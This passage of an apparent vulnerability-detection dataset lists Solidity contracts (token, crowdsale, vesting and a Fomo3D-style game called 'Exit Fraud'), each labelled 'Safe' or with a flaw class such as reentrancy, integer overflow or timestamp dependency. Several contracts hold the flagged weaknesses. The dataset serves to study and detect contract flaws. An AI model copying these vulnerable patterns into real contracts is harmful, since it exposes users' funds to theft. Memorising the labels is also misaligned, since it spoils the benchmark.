address(0); end = 0; } } contract FlyDropTokenMgr is DelayedClaimable { using SafeMath for uint256; address[] dropTokenAddrs; SimpleFlyDropToken currentDropTokenContract; function prepare(uint256 _rand, address _from, address _token, uint256 _value) onlyOwner public returns (bool) { require(_token != address(0)); require(_from != address(0)); require(_rand > 0); if (ERC20(_token).allowance(_from, this) < _value) { return false; } if (_rand > dropTokenAddrs.length) { SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); dropTokenAddrs.push(address(dropTokenContract)); currentDropTokenContract = dropTokenContract; } else { currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); } currentDropTokenContract.setToken(_token); return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); } function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { require(address(currentDropTokenContract) != address(0)); return currentDropTokenContract.multiSend(_destAddrs, _values); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); }",./Dataset/block number dependency (BN),0,0 0x00346fddca107aec034a367b7324f0d6419bf4b9_Crowdsale.sol,"pragma solidity ^0.4.16; interface token { function transfer(address receiver, uint amount) public; } contract Crowdsale { address public beneficiary; uint public fundingGoal; uint public amountRaised; uint public deadline; uint public price; token public tokenReward; mapping(address => uint256) public balanceOf; bool fundingGoalReached = false; bool crowdsaleClosed = false; event GoalReached(address recipient, uint totalAmountRaised); event FundTransfer(address backer, uint amount, bool isContribution); /** * Constrctor function * * Setup the owner */ function Crowdsale( address ifSuccessfulSendTo, uint fundingGoalInEthers, address addressOfTokenUsedAsReward ) public{ beneficiary = ifSuccessfulSendTo; fundingGoal = fundingGoalInEthers * 1 ether; price = (0.00001 ether)/100000 ; tokenReward = token(addressOfTokenUsedAsReward); } /** * Fallback function * * The function without name is the default function that is called whenever anyone sends funds to a contract */ function () payable public { require(!crowdsaleClosed); uint amount = msg.value; balanceOf[msg.sender] += amount; amountRaised += amount; tokenReward.transfer(msg.sender, amount / price); FundTransfer(msg.sender, amount, true); } modifier afterDeadline() { if (now >= deadline) _; } /** * Check if goal was reached * * Checks if the goal or time limit has been reached and ends the campaign */ function checkGoalReached() afterDeadline public { if (amountRaised >= fundingGoal){ fundingGoalReached = true; GoalReached(beneficiary, amountRaised); } crowdsaleClosed = true; } /** * Withdraw the funds * * Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached, * sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw * the amount they contributed. */ function safeWithdrawal() afterDeadline public { if (!fundingGoalReached) { uint amount = balanceOf[msg.sender]; balanceOf[msg.sender] = 0; if (amount > 0) { if (msg.sender.send(amount)) { FundTransfer(msg.sender, amount, false); } else { balanceOf[msg.sender] = amount; } } } if (fundingGoalReached && beneficiary == msg.sender) { if (beneficiary.send(amountRaised)) { FundTransfer(beneficiary, amountRaised, false); } else { //If we fail to send the funds to beneficiary, unlock funders balance fundingGoalReached = false; } } } }",Safe,8,8 8612.sol,"pragma solidity ^0.4.13; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract TokenVestingFactory is Claimable { event Created(VariableRateTokenVesting vesting); function create( address _beneficiary, uint256 _start, uint256[] _cumulativeRates, uint256 _interval ) onlyOwner public returns (VariableRateTokenVesting) { VariableRateTokenVesting vesting = new VariableRateTokenVesting( _beneficiary, _start, _cumulativeRates, _interval); emit Created(vesting); return vesting; } } contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; function TokenVesting( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable ) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); emit Released(unreleased); } function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); emit Revoked(); } function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (block.timestamp < cliff) { return 0; } else if (block.timestamp >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(start)).div(duration); } } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract VariableRateTokenVesting is TokenVesting { using SafeMath for uint256; using SafeERC20 for ERC20Basic; uint256[] public cumulativeRates; uint256 public interval; constructor( address _beneficiary, uint256 _start, uint256[] _cumulativeRates, uint256 _interval ) public TokenVesting(_beneficiary, _start, 0, ~uint256(0), true) { for (uint256 i = 0; i < _cumulativeRates.length; ++i) { require(_cumulativeRates[i] <= 100); if (i > 0) { require(_cumulativeRates[i] >= _cumulativeRates[i - 1]); } } cumulativeRates = _cumulativeRates; interval = _interval; owner = 0x0298CF0d5B60a0aD885518adCB4c3fc49b36D347; } function vestedAmount(ERC20Basic token) public view returns (uint256) { if (now < start) { return 0; } uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); uint256 timeSinceStart = now.sub(start); uint256 currentPeriod = timeSinceStart.div(interval); if (currentPeriod >= cumulativeRates.length) { return totalBalance; } return totalBalance.mul(cumulativeRates[currentPeriod]).div(100); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); }",./Dataset/timestamp dependency (TP)/,6,6 35543.sol,"// Copyright (C) 2017 DappHub, LLC pragma solidity ^0.4.11; //import ""ds-exec/exec.sol""; contract DSExec { function tryExec( address target, bytes calldata, uint value) internal returns (bool call_ret) { return target.call.value(value)(calldata); } function exec( address target, bytes calldata, uint value) internal { if(!tryExec(target, calldata, value)) { throw; } } // Convenience aliases function exec( address t, bytes c ) internal { exec(t, c, 0); } function exec( address t, uint256 v ) internal { bytes memory c; exec(t, c, v); } function tryExec( address t, bytes c ) internal returns (bool) { return tryExec(t, c, 0); } function tryExec( address t, uint256 v ) internal returns (bool) { bytes memory c; return tryExec(t, c, v); } } //import ""ds-auth/auth.sol""; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) constant returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) auth { authority = authority_; LogSetAuthority(authority); } modifier auth { assert(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } function assert(bool x) internal { if (!x) throw; } } //import ""ds-note/note.sol""; contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } //import ""ds-math/math.sol""; contract DSMath { /* standard uint256 functions */ function add(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x + y) >= x); } function sub(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x - y) <= x); } function mul(uint256 x, uint256 y) constant internal returns (uint256 z) { z = x * y; assert(x == 0 || z / x == y); } function div(uint256 x, uint256 y) constant internal returns (uint256 z) { z = x / y; } function min(uint256 x, uint256 y) constant internal returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) constant internal returns (uint256 z) { return x >= y ? x : y; } /* uint128 functions (h is for half) */ function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x + y) >= x); } function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x - y) <= x); } function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = x * y; assert(x == 0 || z / x == y); } function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = x / y; } function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) { return x <= y ? x : y; } function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) { return x >= y ? x : y; } /* int256 functions */ function imin(int256 x, int256 y) constant internal returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) constant internal returns (int256 z) { return x >= y ? x : y; } /* WAD math */ uint128 constant WAD = 10 ** 18; function wadd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function wsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + WAD / 2) / WAD); } function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * WAD + y / 2) / y); } function wmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function wmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } /* RAY math */ uint128 constant RAY = 10 ** 27; function radd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function rsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + RAY / 2) / RAY); } function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * RAY + y / 2) / y); } function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) { // This famous algorithm is called ""exponentiation by squaring"" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } function rmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function rmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } function cast(uint256 x) constant internal returns (uint128 z) { assert((z = uint128(x)) == x); } } //import ""erc20/erc20.sol""; contract ERC20 { function totalSupply() constant returns (uint supply); function balanceOf( address who ) constant returns (uint value); function allowance( address owner, address spender ) constant returns (uint _allowance); function transfer( address to, uint value) returns (bool ok); function transferFrom( address from, address to, uint value) returns (bool ok); function approve( address spender, uint value ) returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } //import ""ds-token/base.sol""; contract DSTokenBase is ERC20, DSMath { uint256 _supply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; function DSTokenBase(uint256 supply) { _balances[msg.sender] = supply; _supply = supply; } function totalSupply() constant returns (uint256) { return _supply; } function balanceOf(address src) constant returns (uint256) { return _balances[src]; } function allowance(address src, address guy) constant returns (uint256) { return _approvals[src][guy]; } function transfer(address dst, uint wad) returns (bool) { assert(_balances[msg.sender] >= wad); _balances[msg.sender] = sub(_balances[msg.sender], wad); _balances[dst] = add(_balances[dst], wad); Transfer(msg.sender, dst, wad); return true; } function transferFrom(address src, address dst, uint wad) returns (bool) { assert(_balances[src] >= wad); assert(_approvals[src][msg.sender] >= wad); _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); Transfer(src, dst, wad); return true; } function approve(address guy, uint256 wad) returns (bool) { _approvals[msg.sender][guy] = wad; Approval(msg.sender, guy, wad); return true; } } //import ""ds-stop/stop.sol""; contract DSStop is DSAuth, DSNote { bool public stopped; modifier stoppable { assert (!stopped); _; } function stop() auth note { stopped = true; } function start() auth note { stopped = false; } } //import ""ds-token/token.sol""; contract DSToken is DSTokenBase(0), DSStop { bytes32 public symbol; uint256 public decimals = 18; // standard token precision. override to customize address public generator; modifier onlyGenerator { if(msg.sender!=generator) throw; _; } function DSToken(bytes32 symbol_) { symbol = symbol_; generator=msg.sender; } function transfer(address dst, uint wad) stoppable note returns (bool) { return super.transfer(dst, wad); } function transferFrom( address src, address dst, uint wad ) stoppable note returns (bool) { return super.transferFrom(src, dst, wad); } function approve(address guy, uint wad) stoppable note returns (bool) { return super.approve(guy, wad); } function push(address dst, uint128 wad) returns (bool) { return transfer(dst, wad); } function pull(address src, uint128 wad) returns (bool) { return transferFrom(src, msg.sender, wad); } function mint(uint128 wad) auth stoppable note { _balances[msg.sender] = add(_balances[msg.sender], wad); _supply = add(_supply, wad); } function burn(uint128 wad) auth stoppable note { _balances[msg.sender] = sub(_balances[msg.sender], wad); _supply = sub(_supply, wad); } // owner can transfer token even stop, function generatorTransfer(address dst, uint wad) onlyGenerator note returns (bool) { return super.transfer(dst, wad); } // Optional token name bytes32 public name = """"; function setName(bytes32 name_) auth { name = name_; } } contract KeyTokenReborn { DSToken public key; uint128 public constant TOTAL_SUPPLY = 10 ** 11 * 1 ether; // 100 billion KEY in total address public keyFoundation; //multisig account , 4-of-6 function KeyTokenReborn(address _keyFoundation) { require(_keyFoundation != 0x0); keyFoundation = _keyFoundation; key = new DSToken(""KEY""); key.setName(""KEY""); key.mint(TOTAL_SUPPLY); key.transfer(keyFoundation, TOTAL_SUPPLY); key.setOwner(keyFoundation); } }",./Dataset/reentrancy (RE)/,5,5 1076.sol,"pragma solidity ^0.4.16; contract BaseSafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function madd(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; assert(c >= a); return c; } function msub(uint128 a, uint128 b) internal pure returns (uint128) { assert(b <= a); return a - b; } function mmul(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a * b; assert(a == 0 || c / a == b); return c; } function mdiv(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a / b; return c; } function mmin(uint128 x, uint128 y) internal pure returns (uint128 z) { return x <= y ? x : y; } function mmax(uint128 x, uint128 y) internal pure returns (uint128 z) { return x >= y ? x : y; } function miadd(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a + b; assert(c >= a); return c; } function misub(uint64 a, uint64 b) internal pure returns (uint64) { assert(b <= a); return a - b; } function mimul(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a * b; assert(a == 0 || c / a == b); return c; } function midiv(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a / b; return c; } function mimin(uint64 x, uint64 y) internal pure returns (uint64 z) { return x <= y ? x : y; } function mimax(uint64 x, uint64 y) internal pure returns (uint64 z) { return x >= y ? x : y; } } contract BaseERC20 { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); function _transfer(address _from, address _to, uint _value) internal; function transfer(address _to, uint256 _value) public; function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success); } interface tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;} contract LockUtils { address advance_mining = 0x5EDBe36c4c4a816f150959B445d5Ae1F33054a82; address community = 0xacF2e917E296547C0C476fDACf957111ca0307ce; address foundation_investment = 0x9746079BEbcFfFf177818e23AedeC834ad0fb5f9; address mining = 0xBB7d6f428E77f98069AE1E01964A9Ed6db3c5Fe5; address adviser = 0x0aE269Ae5F511786Fce5938c141DbF42e8A71E12; uint256 unlock_time_0910 = 1536508800; uint256 unlock_time_1010 = 1539100800; uint256 unlock_time_1110 = 1541779200; uint256 unlock_time_1210 = 1544371200; uint256 unlock_time_0110 = 1547049600; uint256 unlock_time_0210 = 1549728000; uint256 unlock_time_0310 = 1552147200; uint256 unlock_time_0410 = 1554825600; uint256 unlock_time_0510 = 1557417600; uint256 unlock_time_0610 = 1560096000; uint256 unlock_time_0710 = 1562688000; uint256 unlock_time_0810 = 1565366400; uint256 unlock_time_end = 1568044800; uint256 time_months = 2678400; function getLockBalance(address account, uint8 decimals) internal view returns (uint256) { uint256 tempLock = 0; if (account == advance_mining) { if (now < unlock_time_0910) { tempLock = 735000000 * 10 ** uint256(decimals); } else if (now >= unlock_time_0910 && now < unlock_time_1210) { tempLock = 367500000 * 10 ** uint256(decimals); } else if (now >= unlock_time_1210 && now < unlock_time_0310) { tempLock = 183750000 * 10 ** uint256(decimals); } } else if (account == community) { if (now < unlock_time_0910) { tempLock = 18375000 * 6 * 10 ** uint256(decimals); } else if (now >= unlock_time_0910 && now < unlock_time_1010) { tempLock = 18375000 * 5 * 10 ** uint256(decimals); } else if (now >= unlock_time_1010 && now < unlock_time_1110) { tempLock = 18375000 * 4 * 10 ** uint256(decimals); } else if (now >= unlock_time_1110 && now < unlock_time_1210) { tempLock = 18375000 * 3 * 10 ** uint256(decimals); } else if (now >= unlock_time_1210 && now < unlock_time_0110) { tempLock = 18375000 * 2 * 10 ** uint256(decimals); } else if (now >= unlock_time_0110 && now < unlock_time_0210) { tempLock = 18375000 * 1 * 10 ** uint256(decimals); } } else if (account == foundation_investment) { if (now < unlock_time_0910) { tempLock = 18812500 * 12 * 10 ** uint256(decimals); } else if (now >= unlock_time_0910 && now < unlock_time_1010) { tempLock = 18812500 * 11 * 10 ** uint256(decimals); } else if (now >= unlock_time_1010 && now < unlock_time_1110) { tempLock = 18812500 * 10 * 10 ** uint256(decimals); } else if (now >= unlock_time_1110 && now < unlock_time_1210) { tempLock = 18812500 * 9 * 10 ** uint256(decimals); } else if (now >= unlock_time_1210 && now < unlock_time_0110) { tempLock = 18812500 * 8 * 10 ** uint256(decimals); } else if (now >= unlock_time_0110 && now < unlock_time_0210) { tempLock = 18812500 * 7 * 10 ** uint256(decimals); } else if (now >= unlock_time_0210 && now < unlock_time_0310) { tempLock = 18812500 * 6 * 10 ** uint256(decimals); } else if (now >= unlock_time_0310 && now < unlock_time_0410) { tempLock = 18812500 * 5 * 10 ** uint256(decimals); } else if (now >= unlock_time_0410 && now < unlock_time_0510) { tempLock = 18812500 * 4 * 10 ** uint256(decimals); } else if (now >= unlock_time_0510 && now < unlock_time_0610) { tempLock = 18812500 * 3 * 10 ** uint256(decimals); } else if (now >= unlock_time_0610 && now < unlock_time_0710) { tempLock = 18812500 * 2 * 10 ** uint256(decimals); } else if (now >= unlock_time_0710 && now < unlock_time_0810) { tempLock = 18812500 * 1 * 10 ** uint256(decimals); } } else if (account == mining) { if (now < unlock_time_0910) { tempLock = 840000000 * 10 ** uint256(decimals); } } else if (account == adviser) { if (now < unlock_time_0910) { tempLock = 15750000 * 12 * 10 ** uint256(decimals); } else if (now >= unlock_time_0910 && now < unlock_time_1010) { tempLock = 15750000 * 11 * 10 ** uint256(decimals); } else if (now >= unlock_time_1010 && now < unlock_time_1110) { tempLock = 15750000 * 10 * 10 ** uint256(decimals); } else if (now >= unlock_time_1110 && now < unlock_time_1210) { tempLock = 15750000 * 9 * 10 ** uint256(decimals); } else if (now >= unlock_time_1210 && now < unlock_time_0110) { tempLock = 15750000 * 8 * 10 ** uint256(decimals); } else if (now >= unlock_time_0110 && now < unlock_time_0210) { tempLock = 15750000 * 7 * 10 ** uint256(decimals); } else if (now >= unlock_time_0210 && now < unlock_time_0310) { tempLock = 15750000 * 6 * 10 ** uint256(decimals); } else if (now >= unlock_time_0310 && now < unlock_time_0410) { tempLock = 15750000 * 5 * 10 ** uint256(decimals); } else if (now >= unlock_time_0410 && now < unlock_time_0510) { tempLock = 15750000 * 4 * 10 ** uint256(decimals); } else if (now >= unlock_time_0510 && now < unlock_time_0610) { tempLock = 15750000 * 3 * 10 ** uint256(decimals); } else if (now >= unlock_time_0610 && now < unlock_time_0710) { tempLock = 15750000 * 2 * 10 ** uint256(decimals); } else if (now >= unlock_time_0710 && now < unlock_time_0810) { tempLock = 15750000 * 1 * 10 ** uint256(decimals); } } return tempLock; } } contract PDTToken is BaseERC20, BaseSafeMath, LockUtils { function PDTToken() public { name = ""Matrix World""; symbol = ""PDT""; decimals = 18; totalSupply = 2100000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require((balanceOf[_from] - getLockBalance(_from, decimals)) >= _value); require(balanceOf[_from] >= _value); require((balanceOf[_to] + _value) > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function lockBalanceOf(address _owner) public returns (uint256) { return getLockBalance(_owner, decimals); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } }",./Dataset/integer overflow (OF)/,4,4 1965.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract modularShort is F3Devents {} contract ExitFraud is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x99904BE052F97eF56D13a1140F32d99213c88238); address private admin1 = 0xdcfd5C7B10ce65598d8B13dFABcacE9c3889298C; address private admin2 = msg.sender; string constant public name = ""Exit Fraud""; string constant public symbol = ""EXITF""; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 4 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(35,0); fees_[1] = F3Ddatasets.TeamFee(65,0); fees_[2] = F3Ddatasets.TeamFee(58,0); fees_[3] = F3Ddatasets.TeamFee(45,0); potSplit_[0] = F3Ddatasets.PotSplit(7,0); potSplit_[1] = F3Ddatasets.PotSplit(12,0); potSplit_[2] = F3Ddatasets.PotSplit(22,0); potSplit_[3] = F3Ddatasets.PotSplit(27,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function 